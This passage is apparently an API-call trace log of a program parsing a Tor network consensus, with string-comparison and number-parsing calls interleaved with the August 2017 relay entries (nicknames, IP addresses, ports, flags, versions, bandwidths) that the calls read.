Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=610\nr beddini AcRiOwQRMklXqFsBWP9xaO7CghQ 2017-08-21 18:09:44 94.242.255.112 443 80\nm ktMGyE/SSiOiAvhSf+RCkqOG3oVNQqs/lzNwTc/uuEQ\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 D" [0119.879] strlen (_Str="\ndirectory-footer") returned 0x11 [0119.879] memchr (_Buf=0x39418f6, _Val=10, _MaxCount=0x11b) returned 0x3941946 [0119.879] strncmp (_Str1="m sVLNcNTig", _Str2="-----BEGIN ", _MaxCount=0xb) returned 64 [0119.879] strncmp (_Str1="s Fast Runn", _Str2="-----BEGIN ", _MaxCount=0xb) returned 70 [0119.879] strncmp (_Str1="v Tor 0.2.9", _Str2="-----BEGIN ", _MaxCount=0xb) returned 73 [0119.879] strncmp (_Str1="pr Cons=1-2", _Str2="-----BEGIN ", _MaxCount=0xb) returned 67 [0119.880] strncmp (_Str1="w Bandwidth", _Str2="-----BEGIN ", _MaxCount=0xb) returned 74 [0119.880] htonl (hostlong=0x97501022) returned 0x22105097 [0119.880] htonl (hostlong=0x22105097) returned 0x97501022 [0119.880] _errno () returned 0x9f07d8 [0119.880] strtol (in: _Str="9077", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9077 [0119.880] _errno () returned 0x9f07d8 [0119.880] _errno () returned 0x9f07d8 [0119.880] strtol (in: _Str="9030", _EndPtr=0x36f004, _Radix=10 | out: _EndPtr=0x36f004*="") returned 9030 [0119.880] _errno () returned 0x9f07d8 [0119.880] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.880] strtol (in: _Str="0.2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.4.8-alpha") returned 0 [0119.880] strtol (in: _Str="2.4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".4.8-alpha") returned 2 [0119.880] strtol (in: _Str="4.8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".8-alpha") returned 4 [0119.880] strtol (in: _Str="8-alpha", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="-alpha") returned 8 [0119.880] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.880] strlen (_Str="(git-") returned 0x5 [0119.880] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.880] strlen (_Str="Tor ") returned 0x4 [0119.880] strncmp (_Str1="Tor ", _Str2="Tor ", _MaxCount=0x4) returned 0 [0119.880] strlen (_Str="(r") returned 0x2 [0119.880] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.880] strlen (_Str="(git-") returned 0x5 [0119.880] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.880] strtol (in: _Str="0.2.9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".2.9.11") returned 0 [0119.880] strtol (in: _Str="2.9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".9.11") returned 2 [0119.880] strtol (in: _Str="9.11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*=".11") returned 9 [0119.880] strtol (in: _Str="11", _EndPtr=0x36ee78, _Radix=10 | out: _EndPtr=0x36ee78*="") returned 11 [0119.880] strncmp (_Str1="", _Str2="(r", _MaxCount=0x2) returned -40 [0119.880] strlen (_Str="(git-") returned 0x5 [0119.880] strncmp (_Str1="", _Str2="(git-", _MaxCount=0x5) returned -40 [0119.880] strlen (_Str="Bandwidth=") returned 0xa [0119.880] strncmp (_Str1="Bandwidth=", _Str2="Bandwidth=", _MaxCount=0xa) returned 0 [0119.880] strncmp (_Str1="r ", _Str2="r ", _MaxCount=0x2) returned 0 [0119.880] strstr (_Str="r MiningCrew028 AF237jbm2mx+F4sMNr6HlMEHJyA 2017-08-21 17:44:11 35.188.143.6 9001 9030\nm 86PugrjeVPl1KEgNIv4qLgFy2bWlBclsNvJ/1MDLyi8\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=15900\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm AhXIeVLoNu3NoIN6OYhBz7Y3xVnydnpGdTyZsFl+TVk\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=731\nr hozipi ALIqOUZNig9oebg/jlqo4oMPdAw 2017-08-21 03:42:01 188.174.164.217 80 110\nm eHqGX5t+spaXciCNnxrOjc4qwlpz7PXRIv5HLsUbC94\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=206\nr QuengHoSpore ANXCb6OAXcmTRp1THD4LgLL78nQ 2017-08-21 19:20:38 93.29.252.27 9001 9002\nm S1ncRJDzMgpUB+0pP7CmrX4BHambbPf6Hob9i/KwWUc\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=49\nr MYLEX AQt3KEVEEfSFzinUx5oUU0FRwsQ 2017-08-21 04:05:49 188.230.91.173 444 800\nm BYw2DmjX6pT40ShiDifY97YN6rVBWS4PwUr7Kb/sqQQ\ns Fast Running V2Dir Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1500\nr DigiGesTor1e1 ARG6m2BGaeY2/9W1A/OCpLetboA 2017-08-21 20:06:17 176.10.104.240 443 80\nm Bkm9UxfffNEj7bD7yENepcbe3ZJS9B09lpaeEHt0hDs\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=30200\nr mndo01 ARHr9cPwbAn/DtOXsN4zRWzG8uM 2017-08-21 18:34:31 139.59.210.198 9001 0\nm rUvK2DAfZAAw6qopNyGZ45AjC4y6L1fikgen5Udgflk\ns Running Stable V2Dir Valid\nv Tor 0.3.0.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=1\nr biochemistmoscow ASgRXsTMNXheAF8L8v7ffs3E8Ds 2017-08-21 20:36:08 5.228.12.221 12630 12631\nm jIeCthgvWahqvnicvDHwUVAvJLq8IanFu2rG11Lj80E\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.5-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=445\nr Pasuga AT4Dw+lRtHKDe9Yr4xY7oiWVUfY 2017-08-21 05:13:19 85.69.57.27 4445 8885\nm pnRN98HldcSPXpDMyJMwQaiqf117riRuDvHjHgHO+1Q\ns Fast Running V2Dir Valid\nv Tor 0.2.9.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1080\nr marsmellow AU7iS8vaFg8jayVHpGObJ+MDoec 2017-08-21 07:05:21 62.251.89.74 9001 0\nm lRUWy4T957ovquITXh8Lvju0agJ8cCyWb3CFBlkSjbo\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3890\nr zorroleroB AVjf5WgvIFDPAxs3PLpi8WextFY 2017-08-21 14:05:43 109.75.184.77 443 0\nm oAq7EvKbaN5GOpEJFhDJGo1V+OH6cCACfstXDN/D5n8\ns Fast Running Stable Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=536\nr d0dak AWCT7kuumvRz/AyBGp0Q/aqco0s 2017-08-21 12:34:51 62.65.107.36 443 0\nm F/u3oUPA4i5rl1VcGNbjf1GMoj9YJjxPzk1ZvmYgadY\ns Fast Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=891\nr heidelbeermann AWWmgIYt5cNM13JBE0cq97Hdyfs 2017-08-21 02:36:21 84.19.178.155 9001 0\nm R57tNDgaBefi3y1iqENry663CbjRAx/8tuj9eqeUdak\ns Fast Running Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=545\nr noce AWZNQagfgXo+cUANa/1AlHqkCvs 2017-08-21 17:01:46 216.127.173.78 443 80\nm RHZL8oqc/VXGKqpxxYycWEF4t2jDB9OBj7rYhOzCLiw\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=9030\nr hedden AXOnqLqdMgQ2QbaXJtMqmt/ibRY 2017-08-21 09:58:45 93.174.93.133 443 80\nm 8kUOtpUjcFfxz5U9Sobxvy/Z7jK8eYaG2tJjd0GV0JI\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=13300\nr Huddlepoop4 AXQZQsXHeVOE1lkkTdEXSZz4c2I 2017-08-21 08:47:30 178.157.198.187 9001 9030\nm lvXjLapF6OPpyT3VtHL2cabbUcVNEiNUSVpBLjT3lpI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.9\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=5270\nr clifford AYA0aChQNFmEeB41O3pGNEPsPwY 2017-08-21 15:19:50 97.107.138.68 9001 0\nm f6glUpMp0kSOCz9GIK1aGy2okbci7DkKqS1tx5Onr3s\ns Fast Running Stable Valid\nv Tor 0.2.5.10\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=1210\nr multisec2 AaD8ChoRjh17F44jllQIDVz+Y/g 2017-08-21 17:12:17 193.90.12.87 9002 0\nm 82h6aIej6E2Oklo+QvO3LSVHebTbSR6u2NWi8jRP6ZI\ns Exit Fast Guard Running Stable Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=6960\nr ForEdSnowden AaHRX5/GftBfopZv+IMGftUCzwg 2017-08-21 08:54:50 51.15.133.16 9001 0\nm 63VYlKb974uUXWxaiaKRoF/ji6cFBMi5ebi5RHVugPw\ns Fast Guard Running Stable Valid\nv Tor 0.2.5.14\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=3560\nr Unnamed AaXrMo2ePpb0tMAXI7J9w0d39Dw 2017-08-21 13:40:59 185.80.222.105 9001 9030\nm Af8GyINB0hqle5c9RHM62p0Hl7Ge/HvpEDFR+GBXmT4\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=766\nr ins0 Aaklikbpf/iyyseRBXeGLBTyxSQ 2017-08-21 13:35:20 193.171.202.146 9001 9030\nm MeWdRvgTeReILiA8dUZTJ8PrpSm/2dYCjhyjhiDx6es\ns Exit Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.5-rc\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=19700\nr Neurans AaqlqPTvVXyPn95IMpy4fzt0evQ 2017-08-21 15:54:48 98.206.202.53 443 0\nm PtY0SWQytPM4ocNiJQUol/CgjznBOXez7ve68rpIY5U\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=3970\nr wsmith6079 Aa4AK05grlqP9A/bZyYPhasIeK4 2017-08-21 15:58:01 8.37.14.220 9001 9030\nm 1LCI7I00buV1LKcMCBdOZwI2D7DB5ImRiBgjfdlLu1g\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=4050\nr rixtyminutes Aa4t4xQnbIL8zDYDocLzI45lRMk 2017-08-21 15:22:19 149.56.233.142 443 80\nm dsCJtmBbhMsBLi2e3v7B6j1jS9MazB+qe3HvC5M47tI\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=14800\nr dry AbN5Rg1ZY3CGUo3ht+x2nOeX248 2017-08-21 06:35:56 5.255.78.169 32442 26465\nm HoBdYyT4yFQYQBN84yO+tayKa150XRClilS+uGgeqzQ\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=1150\nr UEUEUEU Abi++ERfTrx0t2bREPiiZkyV25Q 2017-08-21 03:29:06 65.50.203.5 9001 9030\nm He5seWcgBtH19Czt0F8pid/dgVK9DHLYcSCzeT3BsKo\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.8\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=122\nr anonA437536 Ab/v5BU/lg0VZ1CEmiaTVBXa5eM 2017-08-21 08:00:32 93.237.149.202 80 443\nm an8yKZsnJWsVJWyggFK/7myX3050/6HdOHEl4OjT2Vk\ns Fast Running V2Dir Valid\nv Tor 0.2.5.12\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=610\nr beddini AcRiOwQRMklXqFsBWP9xaO7CghQ 2017-08-21 18:09:44 94.242.255.112 443 80\nm ktMGyE/SSiOiAvhSf+RCkqOG3oVNQqs/lzNwTc/uuEQ\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 Di", _SubStr="\nr ") returned="\nr Torpi AHJ/OiwdDxcxqRJnxBFQecFrILQ 2017-08-21 14:02:42 60.225.57.95 9001 9030\nm OQlZwMpEmcbyisDOjQ8hBI5X5otg2VaihxfNQalzuzU\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.4.29\npr Cons=1 Desc=1 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1 Relay=1-2\nw Bandwidth=23\nr Quintex13 AHe8unJE2z5qXtJ0boYXAGZoSIc 2017-08-21 06:37:12 199.249.223.62 443 80\nm MSgi5gqKShKxEL1nL1Qv7wPjKACZVRtWMuGS+LYOcrY\ns Exit Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.1.4-alpha\npr Cons=1-2 Desc=1-2 DirCache=1-2 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=4160\nr torr0zzy AHkAkox9OM/cs7yEB8rW7leiT+I 2017-08-21 10:06:35 88.198.11.171 9001 9030\nm cOR+jaMOGASTniwVtosZ3jvRKeQasm+kknW4kVeqdwI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=10700\nr powertoyou AIuoi8XPytZLWDhuE4gzcfgX4cI 2017-08-21 16:09:36 88.15.188.87 9001 9030\nm elq2XVA8OvqQajpSxd6rSnnuKnX1wHSGsEacpwHjDZg\ns Fast Guard Running Stable V2Dir Valid\nv Tor 0.2.7.6\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=9680\nr BobDoe AJQ2YvMOznqi0SYrNk/AQx94+Aw 2017-08-21 08:29:18 167.114.35.107 443 0\nm OD8mzIC+AdfqQquU61OiKu4NI62LNLQ/OrxcM2dkpeI\ns Fast Guard HSDir Running Stable V2Dir Valid\nv Tor 0.3.0.10\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1-2 HSIntro=3-4 HSRend=1-2 Link=1-4 LinkAuth=1,3 Microdesc=1-2 Relay=1-2\nw Bandwidth=8850\nr jactr AJhR35M3VLAN3odvzkCIzhtJQME 2017-08-21 17:27:06 84.40.112.70 9001 9030\nm 8oad5yZhagCebsoaJTZTDvIpKzqBiWpdugcgqcBWLnc\ns Fast HSDir Running Stable V2Dir Valid\nv Tor 0.2.9.11\npr Cons=1-2 Desc=1-2 DirCache=1 HSDir=1 HSIntro=3 HSRend=1-2 Link=1-4 LinkAuth=1 Microdesc=1-2 Relay=1-2\nw Bandwidth=363\nr CommanderRoots AKMAUbHTEtCYv18DVDzWjvbctKw 2017-08-21 09:30:19 188.68.33.125 9001 9030\nm 